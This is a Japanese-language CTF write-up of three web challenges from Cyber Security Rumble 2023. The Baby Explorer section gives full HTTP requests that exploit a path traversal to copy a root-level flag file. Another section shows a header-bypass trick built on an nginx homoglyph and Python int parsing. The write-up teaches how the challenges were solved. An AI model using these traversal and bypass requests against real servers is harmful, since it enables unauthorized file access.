Cyber Security Rumble CTF 2023 Writeup

0nePaddingという最近入ったチームで参加しました。

私はほとんど参加しませんでしたが、チームとしては35位という成績でした。

ChatGpyT [Web-Easy]

左側にチャットの履歴、右側に自分の入力があります。

PostMessageをクリックすると左側の履歴に追加されていきますが、ChatGpyTの返答は常に空欄で会話ができません。

Burpでリクエストを見ると、/post_messageに入力したmessageが送られています。 レスポンスにはMD5っぽい文字列が。

CrackStationでハッシュクラックを試みると、とある数値がハッシュ化されていることがわかり、 送信したmessageごとにインクリメントされているようでした。

ここまでの動作ではなにかができるわけでもなさそうなので追加調査。

その後、/にリクエスト送ると/get_messageが生えていることがわかりました。

パスパラメータにハッシュを渡すとそのハッシュに紐づく送信メッセージが返ってきます。

あとは、連番をハッシュ化して総当りするだけですが、幸い1にフラグがありました。

Baby Explorer [Web-Easy]

Windows Explorer風のファイル管理システムです。

できる操作は以下の通りです。

  • ディレクトリの作成
  • ファイルの作成
  • ファイルのアップロード
  • ファイルのダウンロード
  • ファイルのコピー
  • ファイルのペースト
  • ファイルのカット
  • ファイルの削除

この問題はソースが与えられ、フラグはroot直下にあるとわかります。

調べていると、フォルダの表示をリフレッシュするリクエストで送信している、リフレッシュする対象のパスにパストラバーサルが存在します。 この画像ではrootディレクトリの一覧を表示しています。

パーミッション的に読み取りは問題なさそうです。 ですが、このリクエストだけでは中身を閲覧できないので他のリクエストを利用する必要があります。

追加調査をすると、ファイルをコピーするリクエストに同様の脆弱性がありました。

ファイルコピーの動作は、file_explorer_copy_initでコピー対象のKeyがレスポンスで返され、そのKeyを使用してfile_explorer_copyを実行することでコピーが完了します。

このときfile_explorer_copy_initのパスチェックが甘いので任意のファイルを、Baby Explorer管理下のフォルダにコピーすることが可能でした。

まずfile_explorer_copy_initのリクエストのsrcpathsrcidsを変更します。

POST / HTTP/1.1
Host: baby-explorer.rumble.host
Content-Length: 472
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOHW5s57A2AbBAAT
Accept: */*
Origin: http://baby-explorer.rumble.host
Referer: http://baby-explorer.rumble.host/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0c885942ca1135af608a8498879b652e
Connection: close

 ------WebKitFormBoundaryUOHW5s57A2AbBAAT
Content-Disposition: form-data; name="action"

file_explorer_copy_init
 ------WebKitFormBoundaryUOHW5s57A2AbBAAT
Content-Disposition: form-data; name="srcpath"

- [""]
+ ["/../../../"]
 ------WebKitFormBoundaryUOHW5s57A2AbBAAT
Content-Disposition: form-data; name="srcids"

- ["New File.txt"]
+ ["flag.txt"]
 ------WebKitFormBoundaryUOHW5s57A2AbBAAT
Content-Disposition: form-data; name="destpath"

[""]
 ------WebKitFormBoundaryUOHW5s57A2AbBAAT--

レスポンスで返ってくるcopykeyをメモしておきます。

{"success":true,"copykey":"fe_copy_2023-07-11_11-00-00_ffd167e27b648c976c82aa16727e4cb3","overwrite":0}

メモしたcopykeyfile_explorer_copyのリクエストに設定して送信します。

POST / HTTP/1.1
Host: baby-explorer.rumble.host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18066009762412215845374841232
Content-Length: 480
Origin: http://baby-explorer.rumble.host
Connection: close
Referer: http://baby-explorer.rumble.host/
Cookie: PHPSESSID=3e8dadc19a4aab06eedeea7966a2827e

 -----------------------------18066009762412215845374841232
Content-Disposition: form-data; name="action"

file_explorer_copy
 -----------------------------18066009762412215845374841232
Content-Disposition: form-data; name="copykey"

+ fe_copy_2023-07-11_11-00-00_ffd167e27b648c976c82aa16727e4cb3
 -----------------------------18066009762412215845374841232
Content-Disposition: form-data; name="currpath"

[""]
 -----------------------------18066009762412215845374841232--

正常にコピーが完了したっぽいレスポンスが返ってきます。

{
  "success": true,
  "copykey": "fe_copy_2023-07-11_11-00-00_ffd167e27b648c976c82aa16727e4cb3",
  "totalbytes": 55,
  "queueditems": 0,
  "queuesizeunknown": false,
  "itemsdone": 1,
  "faileditems": 0,
  "currentries": [
    {
      "id": "flag.txt",
      "name": "flag.txt",
      "type": "file",
      "hash": "6458c851ae1aa5fb38cc627c2e55875d",
      "tooltip": "Mode: -rw-r--r--\nOwner: www-data (33)\nGroup: www-data (33)\nSize: 55 bytes\nModified: 7/11/2023 11:01 AM",
      "size": 55
    }
  ],
  "finalentries": [
    {
      "id": "flag.txt",
      "name": "flag.txt",
      "type": "file",
      "hash": "6458c851ae1aa5fb38cc627c2e55875d",
      "tooltip": "Mode: -rw-r--r--\nOwner: www-data (33)\nGroup: www-data (33)\nSize: 55 bytes\nModified: 7/11/2023 11:01 AM",
      "size": 55
    }
  ]
}

ブラウザ上でもflag.txtがコピーされていることが確認できます。 あとはこのファイルをダウンロードして内容を確認すればOKです。

Intern Scripting [Web-Easy]

競技中はソースを見るだけで解いてません。

/flag.htmlから正しいsecretを入力することでフラグが得られるようです。

与えられたソースを見ると、frontend(proxy)とbackendの2つの処理があるようです。

まずbackendのapp.pyを見ると、X-Coffee-Disallowというヘッダにint(n, 0)をして0になる値が設定されていればフラグが得られます。

from flask import Flask
from flask import request
import logging
import os
import json

app = Flask(__name__)

flag = os.getenv("flag", "not_the_real_thing")

def represents_int(s, default):
    try:
        app.logger.info("int %s", s)
        return int(s, 0)
    except:
        return default


@app.route("/flag")
def get_flag():
    coffee_secret = request.headers.get('X-Coffee-Secret')
    coffee_disallow = request.headers.get('X-Coffee-Disallow', None)
    coffee_debug = request.headers.get('X-Coffee-Debug', None)
    app.logger.info(request.headers)
    app.logger.info("header contents %s %s %s", coffee_secret, coffee_disallow, coffee_debug)
    app.logger.info("int %d", represents_int(coffee_disallow, 1))
    if represents_int(coffee_disallow, 1) != 0 :
        return json.dumps({"value": "Filthy coffee thief detected!", "code": 418}), 418
    app.logger.info("Gave coffee flag to someone with the secret %s", coffee_secret)
    return json.dumps({"value": flag, "code": 200}), 200


@app.route("/")
def index():
    return json.dumps({"value": "To get a coffee flag go to /flag", "code": 200}), 200

if __name__ != '__main__':
    gunicorn_logger = logging.getLogger('gunicorn.error')
    app.logger.handlers = gunicorn_logger.handlers
    app.logger.setLevel(gunicorn_logger.level)

frontendはnginxの設定ファイルが主です。

upstream theapi {
    server backend:9696;
}


server {
        listen ${NGINX_PORT} default;

        root /app;
        index index.html;

        server_name frontend.csr;

        if ($request_method != GET) {
                return 405;
        }

        location /api {
                proxy_pass http://theapi/;

                set $disa 0;
                set $debug_api 0;

                if ($http_x_coffee_secret = 0){
                        return 418;
                }

                if ($http_x_coffee_secret != ${COFFEE_SECRET}) {
                        set $disa 1;
                }

                if ($cookie_debug ~* debսg) {
                        set $disa $http_x_coffee_secret;
                        set $debug_api $cookie_debug;
                }

                proxy_pass_header X-Coffee-Secret;
                proxy_pass_header X-Coffee-Disallow;
                proxy_set_header X-Coffee-Disallow $disa;
                proxy_set_header X-Coffee-Debug $debug_api;
        }
}⏎                  

if ($cookie_debug ~* debսg)をTrueにできれば、 X-Coffee-DisallowX-Coffee-Secretの値が設定されます。

if ($cookie_debug ~* debսg)Cookie: debug=debugを設定すればTrueになりそうです。

backendではX-Coffee-Disallowが0ならフラグが得られるのでX-Coffee-Secretには0を設定したいところですが、 if ($http_x_coffee_secret = 0)の部分で弾かれてしまいます。

backendではX-Coffee-Disallowの値が、int(n,0)を通したときに0である値であればいいので0b0などの値を設定します。

ただ、if ($cookie_debug ~* debսg)の条件式が何故かTrueにならず、肝心なヘッダの値を書き換えることができませんでした。

ここでだいぶ悩んでいましたが、ホモグリフを疑いdebugの文字をpythonでchar codeに変換するとuの文字がASCIIの範囲外でした。

これがわかったら、正しいクッキーとヘッダを設定して送信するだけでフラグが得られます。